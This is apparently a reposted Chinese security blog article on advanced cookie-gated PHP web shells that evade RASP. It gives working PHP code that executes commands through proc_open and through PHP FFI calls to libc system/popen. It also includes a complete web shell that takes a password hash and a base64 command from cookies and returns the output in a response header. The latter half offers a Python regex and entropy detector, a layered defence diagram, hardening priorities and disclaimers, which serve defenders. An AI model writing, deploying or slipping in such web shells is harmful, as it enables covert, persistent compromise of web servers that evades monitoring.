文章总结: 本文介绍Cookie-GatedWebShell的高级混淆与加密技术,通过函数名混淆、动态函数构造、回调函数隐藏等方法消除敏感关键字,并采用AES-256-GCM加密通道和RSA混合加密实现端到端加密通信,有效对抗静态扫描、人工审计和RASP检测。关键发现包括利用变量函数、类魔术方法隐藏执行逻辑,以及每次通信随机IV防重放。可操作建议是结合多层混淆和强加密构建隐蔽的WebShell通信通道。 综合评分: 85 文章分类: WEB安全,渗透测试,代码审计,红队,内网渗透
0x06 对抗 RASP 的技术
6.1 间接执行绕过 Hook
<?php
// RASP 通常 Hook 了 system/exec/passthru/shell_exec
// 以下路径较少被 Hook
// 方式 1:proc_open
$desc = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$process = proc_open($command, $desc, $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($process);
// 方式 2:FFI 直调 libc(PHP 7.4+)
if (class_exists('FFI')) {
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");
$ffi->system($command . " > /tmp/.out 2>&1");
$output = file_get_contents('/tmp/.out');
@unlink('/tmp/.out');
}
?>
6.2 PHP FFI 深度利用
<?php
/**
* 通过 FFI 直接调用 C 函数
* 完全绕过 PHP 层面的所有 Hook
*/
$gate = $_COOKIE['_ffi_gate'] ?? '';
if (hash('sha256', $gate) !== 'TARGET_HASH') return;
$cmd = base64_decode($_COOKIE['_ffi_cmd'] ?? '');
if (!$cmd) return;
$ffi = FFI::cdef("
typedef void* FILE;
FILE *popen(const char *command, const char *type);
char *fgets(char *s, int size, FILE *stream);
int pclose(FILE *stream);
", "libc.so.6");
$fp = $ffi->popen($cmd, "r");
$output = '';
$buf = FFI::new("char[4096]");
while ($ffi->fgets($buf, 4096, $fp) !== null) {
$output .= FFI::string($buf);
}
$ffi->pclose($fp);
header('X-FFI-Result: ' . base64_encode($output));
?>
0x07 综合检测方案
增强版检测脚本
#!/usr/bin/env python3
"""Advanced Cookie-Gated Shell Detector v2.0"""
import os, re, sys, math
from collections import Counter
class AdvancedDetector:
PATTERNS = [
(r'\$\w+\s*\(\s*\$_COOKIE', 'HIGH',
'Variable function with $_COOKIE'),
(r'str_rot13\s*\(.*'
r'(?:riny|flfgrz|cnffgueh|furyy_rkrp)',
'CRITICAL', 'ROT13 encoded function name'),
(r'chr\s*\(\s*\d+\s*\)(?:\s*\.\s*chr\s*\(\s*\d+\s*\)){3,}',
'HIGH', 'chr() function name construction'),
(r'FFI::cdef.*(?:system|popen|exec)',
'CRITICAL', 'FFI system call bypass'),
(r'__destruct.*(?:eval|assert|call_user_func)',
'HIGH', 'Execution in destructor'),
(r'file_put_contents\s*\(\s*__FILE__',
'CRITICAL', 'Self-modifying code'),
(r'register_shutdown_function.*'
r'(?:eval|assert|system)',
'HIGH', 'Execution in shutdown handler'),
(r'dns_get_record.*\$',
'MEDIUM', 'Potential DNS exfiltration'),
]
@staticmethod
def calc_entropy(data):
if not data: return 0
counter = Counter(data)
length = len(data)
return -sum((c/length) * math.log2(c/length)
for c in counter.values())
def scan_file(self, filepath):
findings = []
with open(filepath, 'r', errors='ignore') as f:
content = f.read()
lines = content.split('\n')
# 模式匹配
for pattern, severity, desc in self.PATTERNS:
for i, line in enumerate(lines, 1):
if re.search(pattern, line, re.I):
findings.append({
'file': filepath, 'line': i,
'severity': severity,
'description': desc
})
# 熵分析
for i, line in enumerate(lines, 1):
m = re.search(
r"['\"]([A-Za-z0-9+/=]{100,})['\"]", line)
if m and self.calc_entropy(m.group(1)) > 5.5:
findings.append({
'file': filepath, 'line': i,
'severity': 'MEDIUM',
'description': 'High-entropy string'
})
# Cookie + Exec + Crypto 组合分析
cookies = len(re.findall(r'\$_COOKIE', content))
execs = len(re.findall(
r'(?:eval|exec|system|passthru|'
r'shell_exec|assert|proc_open)',
content, re.I))
crypto = len(re.findall(
r'(?:openssl_|hash_hkdf|hash_hmac)',
content, re.I))
if cookies > 0 and execs > 0 and crypto > 0:
findings.append({
'file': filepath, 'line': 0,
'severity': 'HIGH',
'description':
f'Cookie({cookies})+Exec({execs})'
f'+Crypto({crypto}) combination'
})
return findings
if __name__ == "__main__":
detector = AdvancedDetector()
target = sys.argv[1] if len(sys.argv) > 1 else '.'
print("🔍 Advanced Cookie Shell Detector v2.0\n")
all_findings = []
for root, dirs, files in os.walk(target):
dirs[:] = [d for d in dirs
if d not in ('.git','node_modules')]
for f in files:
if f.endswith(('.php','.phtml','.inc')):
all_findings.extend(
detector.scan_file(
os.path.join(root, f)))
for f in sorted(all_findings,
key=lambda x: {'CRITICAL':0,'HIGH':1,
'MEDIUM':2}[x['severity']]):
icon = {'CRITICAL':'🔴','HIGH':'🟠',
'MEDIUM':'🟡'}[f['severity']]
print(f"{icon} [{f['severity']}] "
f"{f['file']}:{f['line']}")
print(f" {f['description']}\n")
0x08 纵深防御架构
┌────────────────────────────────────────┐
│ 纵深防御架构 │
├────────────────────────────────────────┤
│ L1 代码层 禁用 eval/assert/FFI │
│ disable_functions 白名单 │
│ SAST + 混淆检测规则 │
├────────────────────────────────────────┤
│ L2 WAF层 Cookie 深度检测(长度/熵值) │
│ 请求频率异常检测 │
├────────────────────────────────────────┤
│ L3 RASP层 运行时函数调用链追踪 │
│ FFI/proc_open 调用告警 │
│ Cookie→危险函数 污点追踪 │
├────────────────────────────────────────┤
│ L4 系统层 FIM 文件完整性监控 │
│ Web 目录只读挂载 │
│ 进程行为异常检测 │
├────────────────────────────────────────┤
│ L5 网络层 DNS 查询异常检测 │
│ 出站流量白名单 │
└────────────────────────────────────────┘
最核心的防御措施(按优先级):
disable_functions— 禁用eval, assert, system, exec, passthru, shell_exec, proc_open, popen,以及FFI- Web 目录只读 —
mount -o ro或 Dockerread_only: true,阻止文件植入和多态变形 - Cookie 日志 + 熵检测 — 记录所有 Cookie,对高熵值 Cookie 告警
- RASP 部署 — PHP 层面的运行时保护,追踪数据流
⚠️ 免责声明: 本文所有技术仅供安全研究和红蓝对抗演练使用。在未经授权的系统上使用这些技术属于违法行为。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:爱安全Info 小悉 小悉《Cookie-Gated Web Shell 进阶:高级混淆与加密对抗》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论